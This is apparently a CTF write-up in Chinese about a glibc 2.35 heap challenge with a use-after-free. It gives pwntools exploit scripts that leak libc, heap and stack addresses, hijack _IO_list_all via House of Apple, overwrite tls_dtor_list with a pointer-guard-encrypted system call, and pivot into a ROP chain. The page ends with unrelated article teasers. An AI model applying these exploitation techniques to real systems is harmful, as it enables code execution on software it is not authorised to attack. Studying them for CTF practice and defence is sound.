一个小题目的困惑

网友发了一个题,还给了段录像。

libc-2.35下有UAF有管理块,无edit 有调用exit

先说说题:

有管理块0x18, {size,inuse,ptr} ,free时不清指针。这样建两个块再建0x18块,就可以控制一个块的管理块,从而写入指针。然后show就能泄露任意地址。

指针作个偏移,指向一个已作好头标记的位置就能释放得到重叠块,然后写fd进行tcache attack。

思路:

泄露libc这个方法很多,原WP是释放到unsort再取,其实这题可以直接指向got表或者stdout都比unsort要容易。

然后就是找到一个打的点,高版本的用apple,改IO_list_all。这个WP给的方法是写TLS_tdor_list。这个东西相当于低版本的exit_hook,不过从2.34这此好用的hook就都没了。

原WP里直接取libc的偏移得到fsbase ,不过这个不大容易复现。但问题在于远程确实是这个固定地址。

网上查了很久,只是说2.23是固定的在libc上方。从录像上看是固定的,复现的话如果不打patch而是直接用本机的libc用gdb调起程序确实是固定在那。这可能是就得看docker里怎么设置的了。

摸索了一天,作了两个。第1个就用 apple的打IO_list_all,第2个是打tls_tdor_list

先说第1个。

通过控制一个管理块可以show到所有想要的地址。指向stdout得到libc指向chunk_list得到堆地址,指向释放的块块得到key

然后通过libc.sym['environ']得到栈地址,在栈内有各种地址可以取,这里取了个rtld_global,这个值是程序调起初期ld建立的,这里几乎能找到所有地址。当然从这里也可以找到TLS的块,然后实现对tls_dtor_list的修改。

不过感觉都到这了,直接改 io_list_all会更方便,也不一定。如果有edit就好了,可以直接写栈,如果只有add,free的话,在栈内建块不大容易正好建到指定位置,而本题又没有ret而是直接调用exit。所以写栈这链不大好用。

from pwn import*
context(arch='amd64',log_level='debug')
libc = ELF('./libc.so.6')
elf = ELF('./vuln')p=process('./vuln')def add(idx, size, msg=b'A'):p.sendlineafter(b'>>>',b'1')p.sendlineafter(b'input chunk_idx:',str(idx).encode())p.sendlineafter(b'Enter chunk size:',str(size).encode())p.sendafter(b'Enter chunk data:', msg)def free(idx):p.sendlineafter(b'>>>',b'2')p.sendlineafter(b'Enter chunk id:',str(idx).encode())def show(idx):p.sendlineafter(b'>>>',b'3')p.sendlineafter(b"[?] Enter chunk id: " ,str(idx).encode())def Exit():p.sendlineafter(b'>>>',b'4')#gdb.attach(p, "b*0x4016fe\nc")
add(0, 0x28)
add(1, 0x28)
add(2, 0x28)
free(0)
free(1)#3(1.m,0.m)
add(3, 0x18, flat(0x50, 1, 0x404020)) #stdout+chunk_list
show(0)
msg = p.recv(0x50)
libc.address = u64(msg[:8]) - libc.sym['_IO_2_1_stdout_']
heap = u64(msg[0x40:0x48]) - 0x2a0
print(f"{libc.address = :x} {heap = :x}")free(3)
add(3, 0x18, flat(0x10,1, heap+0x2c0)) #key
show(1)
key = u64(p.recv(16)[8:])
print(f"{key = :x}")free(3)
add(3, 0x18, flat(0x8,1,libc.sym['_environ'])) #environ
show(0)
stack = u64(p.recv(8))
print(f"{stack = :x}")free(3)
add(3, 0x18, flat(0x8,1,stack-0xd0)) #environ
show(1)
rtld_global = u64(p.recv(8))
print(f"{rtld_global = :x}")

先看写io_list_all

先把fake_file结构写到堆里,这里由于只能建小块不够大,将数据分写到再块里。然后将块建到io_list_all写上指向fake_file的指针。

add(4, 0x28)
add(5, 0x28, flat(0,0x91)) #6,7两块的数据连在一起写fake_file
add(6, 0x18)
free(6)fake_file_addr = heap + 0x420
# ref: https://blog.csome.cc/p/houseofminho-wp/
fake_file = flat({0x0: b"  sh;",0x28: libc.symbols['system'],0xa0: fake_file_addr-0x10, # wide data0x88: fake_file_addr+0x100, # 可写,且内存为0即可0xD0: fake_file_addr+0x28-0x68, # wide data vtable0xD8: libc.symbols['_IO_wfile_jumps'], # vtable  
}, filler=b"\x00")add(6, 0x80, b'\x00'*0x10 + fake_file[:0x70])
add(7, 0x80, fake_file[0x80:])#利用3写0的指针,指向0x91标记处,释放后重建将包含4的data块,覆盖4.data.fd进行tcache attack
free(3)
add(3, 0x18, flat(0x8,1,heap+0x2d0))
free(2)
free(4)free(0)
add(0, 0x80, flat(0,0,0,0x21,0x18,1,heap+0x2a0, 0x31, libc.sym['_IO_list_all']^(heap>>12))) #4.data.fd=_IO_list_alladd(8,0x28)
add(9, 0x28, p64(fake_file_addr))Exit()
p.interactive()

再看tls_dtor_list

在rtld_global+0x20处有个指针,通过偏移可以计算出tls的地址,这个值在寄存器里是常见的mov rax ,fs:0x28 这个0x28位置是stack_guard也就是栈里canary的值,直接gdb里canary就能得到地址。fs-88就是tls_dtor_list的位置,跟apple一样,在这里定个指针,指向结构体就OK了,结构体写到堆里,然后调用exit的时候触发。

这个结构体内容是{func,obj,map,next} 这个func是加密的,加密方法是真实地址与pointer_guard异或然后循环左移17位(pointer_guard在fs+0x20的位置)如果func写的是system那么第2个obj就是指向/bin/sh的指针。如果不通用system那么第2个开始可以写rop,这里func写leave_ret正好会将obj的地址写到rbp,leave_ret后会移栈执行ROP

'''
gef➤  x/8gx 0x00007ffff7ffd040
0x7ffff7ffd040 <_rtld_global>:  0x00007ffff7ffe2e0      0x0000000000000004
0x7ffff7ffd050 <_rtld_global+16>:       0x00007ffff7ffe5a0      0x0000000000000000
0x7ffff7ffd060 <_rtld_global+32>:       0x00007ffff7fbb150   = fs:0x2a10
'''
#在rtld_global+0x20 找到TLS所在段,得到fsbase
free(3)
add(3, 0x18, flat(0x8,1,rtld_global+0x20)) #
show(0)
fs = u64(p.recv(8)) - 0x2a10
print(f"{fs = :x}")#fs+0x30 得到porinter_guard  fs+0x28=canary 通过canary确定fs的值
free(3)
add(3, 0x18, flat(0x8,1,fs+0x30)) #
show(1)
pointer_guard = u64(p.recv(8))
print(f"{pointer_guard = :x}")tls_dtor_list = fs - 88#tls_dtor{func, obj, map, next}
def rol(v,n):return ((v<<n)|(v>>(64-n)))&((1<<64)-1)'''
__int64 _call_tls_dtors()
{_QWORD *i; // rbpvoid (__fastcall *v1)(_QWORD); // rax__int64 result; // raxfor ( i = (_QWORD *)unk_228E88; unk_228E88; i = (_QWORD *)unk_228E88 ){v1 = (void (__fastcall *)(_QWORD))(__readfsqword(0x30u) ^ __ROR8__(*i, 17));unk_228E88 = i[3];v1(i[1]);_InterlockedSub64((volatile signed __int64 *)(i[2] + 1128LL), 1uLL);result = j_free(i);}return result;
}
'''add(4, 0x28)
add(5, 0x28, flat(0,0x91)) #新建一个块写入伪造的dtor_list,第1个用pointer_guard加密(异或再循环左移17位)
#第1个写system后边写&/bin/sh
#
fake_dtor_list = heap+0x3f0
enc_system = rol(libc.sym['system']^pointer_guard, 17)
add(6, 0x80, flat(enc_system, next(libc.search(b'/bin/sh\0'))))#利用3写0的指针,指向0x91标记处,释放后重建将包含4的data块,覆盖4.data.fd进行tcache attack
free(3)
add(3, 0x18, flat(0x8,1,heap+0x2d0))
free(2)
free(4)free(0)
add(0, 0x80, flat(0,0,0,0x21,0x18,1,heap+0x2a0, 0x31, (tls_dtor_list-8)^(heap>>12))) #add(8,0x28)
add(9, 0x28, flat(0, fake_dtor_list))
#gdb.attach(p)
#pause()Exit()
p.interactive()

还有写ROP的,这里由于移栈执行时要有足够的栈容易,不然system执行会不够写。所以rop这块要向后写远点。

#ROP 如果写ROP,第1个用leave ret,后边写ROP 
fake_dtor_list = heap+0x3f0 + 0x6e0
enc_leave_ret = rol(0x40132d^pointer_guard, 17)
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
for i in range(10):add(6,0x80)
add(6, 0x80, flat(enc_leave_ret, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system']))

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/856562.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

pg修炼之道学习笔记

一、数据库逻辑结构介绍 1、一个pg数据库服务下有多个db&#xff08;多个数据库&#xff09;&#xff0c;当应用连接到一个数据库时&#xff0c;一般只能访问这个数据库中的数据&#xff0c;而不能访问其他数据库的内容&#xff08;限制&#xff09; 2、表索引&#xff1a;一…

【PL理论】(34) 类型系统:不完备性 | 为什么推导树推导失败? | 实现类型系统 | 调整到类型系统 | 思考:强制程序员写类型还是自动推断类型?

&#x1f4ac; 写在前面&#xff1a;回顾我们的目标是为 F- 语言设计一个完备但不完全的类型系统&#xff0c;本章我们探讨的主题是类型系统的完备性。 目录 0x00 类型系统的不完备性 0x01 为什么推导树推导失败&#xff1f; 0x02 实现类型系统 0x03 调整到类型系统 0x04…

动态轮换代理在多账户管理中有何用处?

如果您要处理多个在线帐户&#xff0c;选择正确的代理类型对于实现流畅的性能至关重要。但最适合这项工作的代理类型是什么&#xff1f; 为了更好地管理不同平台上的多个账户并优化成本&#xff0c;动态住宅代理IP通常作用在此。 一、什么是轮换代理&#xff1f; 轮换代理充当…

德语中常见的日常用语,柯桥哪里可以学德语

Das kommt mir spanisch vor. &#xff08;直译&#xff1a;这对我来说很西班牙。&#xff09; Das kommt mir spanisch vor. Man findet etwas seltsam und ist unsicher, was man glauben soll. 这对我来说很西班牙。 某物让人觉得很稀奇&#xff0c;人们不确定自己该相…

泰山众筹:电商创新模式引领双赢时代

一、泰山众筹&#xff1a;电商领域的新星 泰山众筹&#xff0c;作为电商领域的一股创新力量&#xff0c;凭借其独特的商业模式在市场中崭露头角。这一模式巧妙地将产品销售与积分众筹融为一体&#xff0c;为用户和平台创造了互利共赢的机遇。在泰山众筹的平台上&#xff0c;用…

北方高温来袭!动力煤却不涨反跌的原因分析

内容提要 北方高温而南方降雨偏多的格局或将继续&#xff0c;整体水力发电量增长可能继续明显增长&#xff0c;但火电增幅可能继续缩小。5月重点火电厂的发电量和耗煤量增速均呈现负增长&#xff0c;耗煤量月度同比下降7%&#xff0c;而重点水电同比大增近40%。我国电力行业绿…

2020年中国1km格网耕地破碎度数据集

摘要 耕地破碎度是对耕地破碎化的定量描述&#xff0c;耕地破碎化是指由于自然或人为因素&#xff0c;耕地图斑数量增加&#xff0c;斑块大小减小&#xff0c;隔离程度增加&#xff0c;呈现出分散和无序格局。破碎化不仅会影响生态系统的结构和功能&#xff0c;同时不利于提高耕…

深度学习模型训练中 学习率参数 设置大小问题及设置合适值

&#x1f4aa; 专业从事且热爱图像处理&#xff0c;图像处理专栏更新如下&#x1f447;&#xff1a; &#x1f4dd;《图像去噪》 &#x1f4dd;《超分辨率重建》 &#x1f4dd;《语义分割》 &#x1f4dd;《风格迁移》 &#x1f4dd;《目标检测》 &#x1f4dd;《暗光增强》 &a…

聊聊探索性测试

探索性测试定义及来源&#xff1a;​ 特意度娘了一下&#xff0c;探索性测试的定义&#xff1a; 探索性测试可以说是一种测试思维技术。它没有很多实际的测试方法、技术和工具&#xff0c;但是却是所有测试人员都应该掌握的一种测试思维方式。探索性强调测试人员的主观能动性…

解决跨域问题,过滤器Filter,Servlet容器最重要的技术之一(基于SpringBoot开发过滤器)

注&#xff1a;本文中Tomcat&#xff0c;代表所有的Serlvet容器&#xff0c;由于Tomcat非常流行&#xff0c;所以用这个读者更加熟悉。 一、过滤器是什么&#xff0c;有什么用 你完成了项目编写&#xff0c;把它发布到网络上运行&#xff0c;此时&#xff0c;外部主机可以访问…

go sync包(二) 互斥锁(二)

互斥锁 Mutex mutex 的 加解锁很简单&#xff1a; var mutex sync.Mutexmutex.Lock()defer mutex.Unlock()// 加锁期间的代码逻辑加锁 // Lock locks m. // If the lock is already in use, the calling goroutine // blocks until the mutex is available. func (m *Mutex) …

机房布线新方案:数字化运维如何助力企业高效腾飞

随着信息量的激增&#xff0c;传统的机房布线管理方式已经难以满足现代化企业的需求&#xff0c;存在着“视觉混乱、记录不准”等严重问题&#xff0c;这不仅影响了机房运维的效率&#xff0c;更对企业的数据安全构成了潜在威胁。然而&#xff0c;随着耐威迪数字化运维管理方案…

工业AIoT竞赛

模块一&#xff1a;工业物联环境构建 # 查看节点状态 kubectl get nodes # 查看所有 pods 状态 kubectl get pods --all-namespaces cd /data/script/ ls | grep install_openyurt_manager # ./install_openyurt_manager_v5.sh是搜索到的脚本文件 ./install_openyurt_manager_v…

校园疫情防控健康打卡系统

摘 要 自疫情出现以来&#xff0c;全世界人民的生命安全和健康都面临着严重威胁。高校是我国培养人才的重要基地&#xff0c;其安全和稳定影响着社会的发展和进步。因此&#xff0c;各高校高度重视疫情防控工作&#xff0c;并在校园疫情防控中引入了健康打卡系统。本论文主要研…

tsf consul单独使用,可以在tsf部署不

Consul 是一个开源的工具&#xff0c;用于服务发现和配置。它提供了服务注册与发现、健康检查、键值存储、多数据中心支持等功能。Consul 可以单独使用&#xff0c;也可以与其他系统集成&#xff0c;如与微服务平台 TSF&#xff08;Tencent Service Framework&#xff09;结合使…

RISC_CPU模块的调试

代码&#xff1a; cpu.v include "clk_gen.v" include "accum.v" include "adr.v" include "alu.v" include "machine.v" include "counter.v" include "machinectl.v" include "register.v&quo…

小兔鲜02

elementplus自动按需引入 elementplus主题色定制 安装sass npm install sass -D要替换的主题色内容&#xff1a; /* 只需要重写你需要的即可 */ forward element-plus/theme-chalk/src/common/var.scss with ($colors: (primary: (// 主色base: #27ba9b,),success: (// 成功…

【前端项目笔记】4 权限管理

权限管理 效果展示&#xff1a; &#xff08;1&#xff09;权限列表 &#xff08;2&#xff09;角色列表 其中的分配权限功能 权限列表功能开发 新功能模块&#xff0c;需要创建新分支 git branch 查看所有分支&#xff08;*表示当前分支&#xff09; git checkout -b ri…

Python字典常用操作与进阶玩法

在Python中&#xff0c;字典是一种常用的数据结构&#xff0c;是实现各类算法的基础。 1.创建字典 有多种方法可以创建字典&#xff0c;以下几种方法创建的字典均等于 {"one": 1, "two": 2, "three": 3} a dict(one1, two2, three3) b {one:…

审稿人:拜托,请把模型时间序列去趋势!!

大侠幸会&#xff0c;在下全网同名「算法金」 0 基础转 AI 上岸&#xff0c;多个算法赛 Top 「日更万日&#xff0c;让更多人享受智能乐趣」 时间序列分析是数据科学中一个重要的领域。通过对时间序列数据的分析&#xff0c;我们可以从数据中发现规律、预测未来趋势以及做出决策…